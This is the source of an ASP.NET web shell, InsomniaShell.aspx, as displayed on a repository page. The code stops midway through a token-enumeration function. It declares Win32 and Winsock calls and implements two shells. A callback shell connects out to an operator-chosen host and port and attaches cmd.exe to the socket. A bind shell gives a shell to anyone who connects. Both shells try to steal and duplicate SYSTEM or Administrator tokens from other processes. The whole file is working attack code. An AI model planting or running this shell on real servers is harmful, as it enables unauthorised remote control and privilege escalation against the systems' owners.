Repository navigation
Expand file tree
/
Copy pathinsomnia_shell.aspx
More file actions
2250 lines (892 loc) · 44.5 KB
/
Copy pathinsomnia_shell.aspx
File metadata and controls
2250 lines (892 loc) · 44.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//--------------------------------------------------------
// INSOMNIA SECURITY :: InsomniaShell.aspx
//
// .aspx shell helper page
// brett.moore@insomniasec.com :: www.insomniasec.com
//--------------------------------------------------------
// Some c token code portions borrowed from ppl such as
// Cesar Cerrudo and Matt Conover
//--------------------------------------------------------
// Some Bollox To Do Socket Shells With .net
// throw in some more to do token impersonation
// and a bit more for namedpipe impersonation
//--------------------------------------------------------
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
/// <summary>
/// Protocol family indicator.
/// </summary>
public short sin_family;
/// <summary>
/// Protocol port.
/// </summary>
public short sin_port;
/// <summary>
/// Actual address value.
/// </summary>
public int sin_addr;
/// <summary>
/// Address content list.
/// </summary>
//[MarshalAs(UnmanagedType.LPStr, SizeConst=8)]
//public string sin_zero;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
[In] SocketType socketType,
[In] ProtocolType protocolType,
[In] IntPtr protocolInfo,
[In] uint group,
[In] int flags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send(
[In] IntPtr socketHandle,
[In] byte[] pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv(
[In] IntPtr socketHandle,
[In] IntPtr pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket(
[In] IntPtr socketHandle
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept(
[In] IntPtr socketHandle,
[In, Out] ref sockaddr_in socketAddress,
[In, Out] ref int socketAddressSize
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen(
[In] IntPtr socketHandle,
[In] int backlog
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind(
[In] IntPtr socketHandle,
[In] ref sockaddr_in socketAddress,
[In] int socketAddressSize
);
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass,
IntPtr TokenInformation,
int tokeInfoLength,
ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid
(
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, // name of local or remote computer
IntPtr pSid, // security identifier
StringBuilder Account, // account name buffer
ref int cbName, // size of account name buffer
StringBuilder DomainName, // domain name
ref int cbDomainName, // size of domain name buffer
ref int peUse // SID type
// ref _SID_NAME_USE peUse // SID type
);
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid(
IntPtr pSID,
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess,
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
uint cb,
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
//-------------------------------------------------------------------------------------------------------------------------------
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
//-------------------------------------------------------------------------------------------------------------------------------
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
String lpName, // pipe name
uint dwOpenMode, // pipe open mode
uint dwPipeMode, // pipe-specific modes
uint nMaxInstances, // maximum number of instances
uint nOutBufferSize, // output buffer size
uint nInBufferSize, // input buffer size
uint nDefaultTimeOut, // time-out interval
IntPtr pipeSecurityDescriptor // SD
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(
IntPtr hHandle, // handle to named pipe
uint lpOverlapped // overlapped structure
);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hHandle); // handle to named pipe
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState(
IntPtr hHandle,
IntPtr lpState,
IntPtr lpCurInstances,
IntPtr lpMaxCollectionCount,
IntPtr lpCollectDataTimeout,
StringBuilder lpUserName,
int nMaxUserNameSize
);
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
protected void CallbackShell(string server, int port)
{
// This will do a call back shell to the specified server and port
string request = "Shell enroute.......\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
// Create a socket connection with the specified server and port.
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
// Setup And Bind Socket
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
//Connect
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void BindPortShell(int port)
{
// This will bind to a port and then send back a shell
string request = "Shell enroute.......\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
// Create a socket connection with the specified server and port.
oursocket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);
// Setup And Bind Socket
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short)AddressFamily.InterNetwork;
uint INADDR_ANY =0x00000000;
socketinfo.sin_addr = (int) htonl(INADDR_ANY);
socketinfo.sin_port = (short)htons((ushort) port);
// Bind
bind(oursocket,ref socketinfo,Marshal.SizeOf(socketinfo));
// Lsten
listen(oursocket, 128);
// Wait for connection
int socketSize = Marshal.SizeOf(socketinfo);
oursocket = accept(oursocket, ref socketinfo, ref socketSize);
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
// Spawn a process to a socket withouth impersonation
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;
// Set Handles
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
//Spawn Shell
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
// Wait for it to finish
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void GetSystemToken(ref IntPtr DupeToken)
{
// Enumerate all accessible processes looking for a system token
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
// Find Token
IntPtr pTokenType = Marshal.AllocHGlobal(4);
int TokenType = 0;
int cb = 4;
string astring = "";
IntPtr token = IntPtr.Zero;
IntPtr duptoken = IntPtr.Zero;
IntPtr hProc = IntPtr.Zero;
IntPtr usProcess = IntPtr.Zero;
uint pid = 0;
for (pid = 0; pid < 9999; pid += 4)
{
hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
usProcess = GetCurrentProcess();
if (hProc != IntPtr.Zero)
{
for (int x = 1; x <= 9999; x += 4)
{
token = (IntPtr)x;
if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
{
if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
{
TokenType = Marshal.ReadInt32(pTokenType);
switch ((TOKEN_TYPE)TokenType)
{
case TOKEN_TYPE.TokenPrimary:
astring = "Primary";
break;
case TOKEN_TYPE.TokenImpersonation:
// Get the impersonation level
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
TokenType = Marshal.ReadInt32(pTokenType);
switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
{
case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
astring = "Impersonation - Anonymous";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
astring = "Impersonation - Identification";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
astring = "Impersonation - Impersonation";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
astring = "Impersonation - Delegation";
break;
}
break;
}
// Get user name
TOKEN_USER tokUser;
string username;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal(bufLength);
cb = bufLength;
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
username = DumpAccountSid(tokUser.User.Sid);
Marshal.FreeHGlobal(tu);
if (username.ToString() == "NT AUTHORITY\\\\SYSTEM")
{
// Coverts a primary token to an impersonation
if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
{
// Display the token type
//Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));
return;
}
}
}
CloseHandle(duptoken);
}
}
CloseHandle(hProc);
}
}
}
protected void GetAdminToken(ref IntPtr DupeToken)
{
// Enumerate all accessible processes looking for a system token
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
// Find Token
IntPtr pTokenType = Marshal.AllocHGlobal(4);
int TokenType = 0;
int cb = 4;
string astring = "";
IntPtr token = IntPtr.Zero;
IntPtr duptoken = IntPtr.Zero;
IntPtr hProc = IntPtr.Zero;
IntPtr usProcess = IntPtr.Zero;
uint pid = 0;
for (pid = 0; pid < 9999; pid += 4)
{
hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
usProcess = GetCurrentProcess();
if (hProc != IntPtr.Zero)
{
for (int x = 1; x <= 9999; x += 4)
{
token = (IntPtr)x;
if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
{
if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
{
TokenType = Marshal.ReadInt32(pTokenType);
switch ((TOKEN_TYPE)TokenType)
{
case TOKEN_TYPE.TokenPrimary:
astring = "Primary";
break;
case TOKEN_TYPE.TokenImpersonation:
// Get the impersonation level
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
TokenType = Marshal.ReadInt32(pTokenType);
switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
{
case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
astring = "Impersonation - Anonymous";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
astring = "Impersonation - Identification";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
astring = "Impersonation - Impersonation";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
astring = "Impersonation - Delegation";
break;
}
break;
}
// Get user name
TOKEN_USER tokUser;
string username;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal(bufLength);
cb = bufLength;
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
username = DumpAccountSid(tokUser.User.Sid);
Marshal.FreeHGlobal(tu);
if (username.EndsWith("Administrator"))
{
// Coverts a primary token to an impersonation
if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
{
// Display the token type
//Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));
return;
}
}
}
CloseHandle(duptoken);
}
}
CloseHandle(hProc);
}
}
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
// Spawn a process to a socket
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;
IntPtr DupeToken = new IntPtr(0);
// Get the token
GetSystemToken(ref DupeToken);
if (DupeToken == IntPtr.Zero)
GetAdminToken(ref DupeToken);
// Display the token type
//Response.Output.Write("* Creating shell as {0}<br>", DisplayTokenType(DupeToken));
// Set Handles
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
//Spawn Shell
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
// Wait for it to finish
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
//Close It all up
CloseHandle(DupeToken);
}
//--------------------------------------------------------
// Display the type of token and the impersonation level
//--------------------------------------------------------
protected StringBuilder DisplayTokenType(IntPtr token)
{
IntPtr pTokenType = Marshal.AllocHGlobal(4);
int TokenType = 0;
int cb = 4;
StringBuilder sb = new StringBuilder();
GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb);
TokenType = Marshal.ReadInt32(pTokenType);
switch ((TOKEN_TYPE)TokenType)
{
case TOKEN_TYPE.TokenPrimary:
sb.Append("Primary");
break;
case TOKEN_TYPE.TokenImpersonation:
// Get the impersonation level
GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
TokenType = Marshal.ReadInt32(pTokenType);
switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
{
case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
sb.Append("Impersonation - Anonymous");
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
sb.Append("Impersonation - Identification");
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
sb.Append("Impersonation - Impersonation");
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
sb.Append("Impersonation - Delegation");
break;
}
break;
}
Marshal.FreeHGlobal(pTokenType);
return sb;
}
protected void DisplayCurrentContext()
{
Response.Output.Write("* Thread executing as {0}, token is {1}<br>", WindowsIdentity.GetCurrent().Name, DisplayTokenType(WindowsIdentity.GetCurrent().Token));
}
protected string DumpAccountSid(IntPtr SID)
{
int cchAccount = 0;
int cchDomain = 0;
int snu = 0;
StringBuilder sb = new StringBuilder();
// Caller allocated buffer
StringBuilder Account = null;
StringBuilder Domain = null;
bool ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
if (ret == true)
if (Marshal.GetLastWin32Error() == ERROR_NO_MORE_ITEMS)
return "Error";
try
{
Account = new StringBuilder(cchAccount);
Domain = new StringBuilder(cchDomain);
ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
if (ret)
{
sb.Append(Domain);
sb.Append(@"\\");
sb.Append(Account);
}
else
sb.Append("logon account (no name) ");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
finally
{
}
//string SidString = null;
//ConvertSidToStringSid(SID, ref SidString);
//sb.Append("\nSID: ");
//sb.Append(SidString);
return sb.ToString();
}
protected string GetProcessName(uint PID)
{
IntPtr hProc = IntPtr.Zero;
uint[] hMod = new uint[2048];
uint cbNeeded;
int exeNameSize = 255;
StringBuilder exeName = null;
exeName = new StringBuilder(exeNameSize);
hProc = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VMRead, false, PID);
if (hProc != IntPtr.Zero)
{
if (EnumProcessModules(hProc, hMod, UInt32.Parse(hMod.Length.ToString()), out cbNeeded))
{
GetModuleBaseName(hProc, hMod[0], exeName, (uint)exeNameSize);
}
}
CloseHandle( hProc );
return exeName.ToString();
}
//***************************************************************************
// DISPLAY THE AVAILABLE TOKENS
//***************************************************************************
protected void DisplayAvailableTokens()
{
IntPtr pTokenType = Marshal.AllocHGlobal(4);
int TokenType = 0;
int cb = 4;
string astring = "";
IntPtr token = IntPtr.Zero;
IntPtr duptoken = IntPtr.Zero;
IntPtr hProc = IntPtr.Zero;
IntPtr usProcess = IntPtr.Zero;
uint pid = 0;
for (pid = 0; pid < 9999; pid+=4)
{
hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
usProcess = GetCurrentProcess();
if (hProc != IntPtr.Zero)
{
//Response.Output.Write("Opened process PID: {0} : {1}<br>", pid, GetProcessName(pid));
for (int x = 1; x <= 9999; x+=4)
{
token = (IntPtr)x;
if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
{
//Response.Output.Write("Duplicated handle: {0}<br>", x);
if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
{
TokenType = Marshal.ReadInt32(pTokenType);
switch ((TOKEN_TYPE)TokenType)
{
case TOKEN_TYPE.TokenPrimary:
astring = "Primary";
break;
case TOKEN_TYPE.TokenImpersonation:
// Get the impersonation level
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
TokenType = Marshal.ReadInt32(pTokenType);
switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
{
case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
astring = "Impersonation - Anonymous";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
astring = "Impersonation - Identification";
break;
